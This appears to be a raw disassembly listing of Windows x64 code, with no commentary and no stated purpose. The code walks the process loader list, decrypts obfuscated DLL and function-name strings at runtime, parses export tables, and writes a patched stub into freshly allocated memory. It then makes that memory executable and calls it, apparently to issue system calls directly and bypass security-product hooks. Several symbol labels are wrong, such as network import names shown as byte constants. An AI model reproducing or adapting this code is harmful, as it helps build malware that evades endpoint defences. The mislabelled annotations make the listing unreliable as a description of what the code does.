xor eax, eax
mov byte [rbp + 0xb7e], al
mov dword [rbp + 0xbb8], 0x1c3c3e08
mov dword [rbp + 0xbbc], 0xdc663424
lea edi, [rax + 9]
mov r9d, edi
lea r8d, [rax + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xbb8]
call fcn.140042908
mov byte [rbp + 0xbc0], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0xbb8]
call fcn.140042908
mov byte [rbp + 0xbc1], al
xor eax, eax
mov byte [rbp + 0xbc2], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea r11d, [rdi - 8]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbb8]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbb8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbb9], dil
add r8, r11
add r9, 9
cmp r9, 0x5a
jb 0x14003fbcf
xor r10d, r10d
mov byte [rbp + 0xbc2], r10b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14003ff8c
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14003fce3
lea r13d, [rax + 1]
mov r10d, r13d
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x14003fcb4
mov r15d, reloc.WS2_32.dll_socket
lea r13d, [r15 - 7]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14003fd3f
mov rax, rcx
lea r9, [rbp + 0xbb9]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14003fd38
add rax, r11
test edx, edx
jne 0x14003fd23
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r8d, r8d
test dil, dil
jne 0x14003fd66
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x14003fc6a
jmp 0x14003ff8c
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14003ff8c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003ff8c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14003ff8c
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14003ff8c
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r8
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14003ff8c
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0xb69]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14003fdf7
inc rax
test edi, edi
jne 0x14003fde2
test r8d, r8d
je 0x14003fe0a
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x14003fdd1
jmp 0x14003ff8c
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14003ff8c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x14003ff8c
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.1400a18a0
or dword [rbp + 0x5e34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4ab0]
call fcn.1400437d4
lea rcx, [rbp + 0x4ab0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x4ab0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x43490], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14003feaf
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x43490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe54], eax
lea r9, [rbp + 0xe54]
mov r8d, r12d
mov edx, ebx
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x60]
call rdi
lea r9, [rbp + 0xe54]
mov r8d, dword [rbp + 0xe54]
mov edx, ebx
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea ebx, [rax + 0x11]
mov ecx, 0x1000
mov qword [rbp + 0xcf8], rcx
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0xd18], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x80], rax
call fcn.1400a1b84
mov qword [rbp - 0x78], rax
mov r8, qword [rbp + 0xcf8]
xor edx, edx
mov rcx, rax
call fcn.1400c97b0
mov rax, qword [rbp + 0xcf8]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0xd18]
mov qword [rbp - 0x70], rax
mov byte [rbp + 0x668], Ordinal_50
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x669], al
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66a], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66b], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66c], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66d], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66e], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x66f], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x670], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x671], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x672], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x673], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x674], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x675], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x676], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x677], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x678], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x679], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x67a], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x67b], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + 0x67c], al
xor eax, eax
mov byte [rbp + 0x67d], al
mov edi, eax
lea ebx, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x669]
lea rcx, [rbp + 0x668]
call fcn.1400430f8
mov byte [rbp + rdi + 0x669], al
add rdi, rbx
cmp rdi, rsi
jb 0x14004022d
xor edi, edi
mov byte [rbp + 0x67d], dil
mov byte [rbp + 0x188], 0x51
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x189], al
mov r9d, ebx
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18a], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18b], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18c], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18d], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18e], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x18f], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x190], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + 0x191], al
xor eax, eax
mov byte [rbp + 0x192], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x189]
lea rcx, [rbp + 0x188]
call fcn.140042908
mov byte [rbp + rdi + 0x189], al
add rdi, r13
cmp rdi, 9
jb 0x140040368
xor r9d, r9d
mov byte [rbp + 0x192], r9b
mov rax, qword gs:[0x60]
test rax, rax
lea r13d, [r9 + 0x10]
je 0x1400404bd
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14004043b
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14004040d
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140040497
mov rax, rcx
lea r9, [rbp + 0x189]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140040490
add rax, r11
test edx, edx
jne 0x14004047b
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x140040a27
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x1400403c4
mov dword [rbp - 0x68], r9d
mov rcx, qword [rbp - 0x78]
call fcn.1400a1900
xor eax, eax
cmp dword [rbp - 0x68], eax
jl 0x140040eb6
mov byte [rbp + 0x258], 0x65
lea edi, [rax + 0x13]
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x259], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x25f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x260], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x261], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x262], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x263], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x61
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x264], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x265], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x266], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x267], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x268], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x269], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x26a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x79
lea rcx, [rbp + 0x258]
call fcn.140043174
mov byte [rbp + 0x26b], al
xor eax, eax
mov byte [rbp + 0x26c], al
mov r8d, eax
mov r9d, edi
lea r10d, [rdi - 0x12]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x258]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x13]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x258]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x259], dil
add r8, r10
add r9, 0x13
cmp r9, 0x17c
jb 0x1400406f9
xor edi, edi
mov byte [rbp + 0x26c], dil
mov word [rbp + 0x198], 0x5a78
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19a], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19b], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19c], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19d], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19e], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x19f], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x1a0], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x198]
call fcn.140042908
mov byte [rbp + 0x1a1], al
xor eax, eax
mov byte [rbp + 0x1a2], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x198]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x198]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x199], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140040879
xor r9d, r9d
mov byte [rbp + 0x1a2], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140040a0d
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.1400a1b84
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x14004098b
lea esi, [rax + 1]
mov r10d, esi
mov r15, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r15 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r15 + rdx*2]
mov byte [r9 + rdx], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x14004095d
mov esi, reloc.WS2_32.dll_sendto
lea r15d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400c9110
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x1400409e7
mov rax, rcx
lea r9, [rbp + 0x199]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x1400409e0
add rax, r11
test edx, edx
jne 0x1400409cb
test r8d, r8d
cmove edi, r11d
call fcn.1400a1900
xor r9d, r9d
test dil, dil
jne 0x140040c66
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x28]
jne 0x140040914
mov eax, r9d
test eax, eax
js 0x140040eb6
mov r14d, 1
mov ecx, r14d
call fcn.1400a8858
int3
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400404bd
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400404bd
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400404bd
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400404bd
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x1400404bd
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x669]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140040ab8
inc rax
test edi, edi
jne 0x140040aa3
xor r9d, r9d
test r8d, r8d
je 0x140040ace
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x140040a92
jmp 0x1400404bd
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400404bd
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400404bd
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.1400a18a0
or dword [rbp + 0x71c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x5e40]
call fcn.1400437d4
lea rcx, [rbp + 0x5e40]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x5e40]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x44490], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140040b73
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x44490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe80], eax
lea r9, [rbp + 0xe80]
mov r8d, r12d
mov edx, esi
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x60]
mov r8, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x80]
call rdi
mov dword [rbp - 0x68], eax
lea r9, [rbp + 0xe80]
mov r8d, dword [rbp + 0xe80]
mov edx, esi
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rdi
call fcn.1400c97b0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x14010d364], eax
lea esi, [rax + 0x14]
jmp 0x1400404c1
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140040a0d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140040a0d
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140040a0d
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140040a0d
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x140040a0d
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x259]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140040cf7
inc rax
test edi, edi
jne 0x140040ce2
xor r9d, r9d
test r8d, r8d
je 0x140040d0d
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x140040cd1
jmp 0x140040a0d
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140040a0d
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x140040a0d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.1400a18a0
or dword [rbp + 0x8554], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x71d0]
call fcn.1400437d4
lea rcx, [rbp + 0x71d0]
call fcn.1400431ec
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x71d0]
call fcn.1400431ec
mov eax, eax
mov qword [rbp + rdi*8 + 0x45490], rax
add rdi, r12
cmp rdi, 0x200
jl 0x140040db3
mov r8d, 0x1000
lea rdx, [rbp + 0x45490]
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call fcn.1400c9110
mov eax, dword [rsp + 0x70]
mov dword [0x14010d364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x14010d360]
movsd qword [rdi], xmm0
movzx eax, word [0x14010d368]
mov word [rdi + 8], ax
mov al, byte [0x14010d36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe7c], eax
lea r9, [rbp + 0xe7c]
lea r12d, [rax + 0x20]
mov r8d, r12d
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xcf8]
lea rdx, [rbp + 0xd18]
mov rcx, qword [rbp - 0x80]
call rdi
mov dword [rsp + 0x70], eax
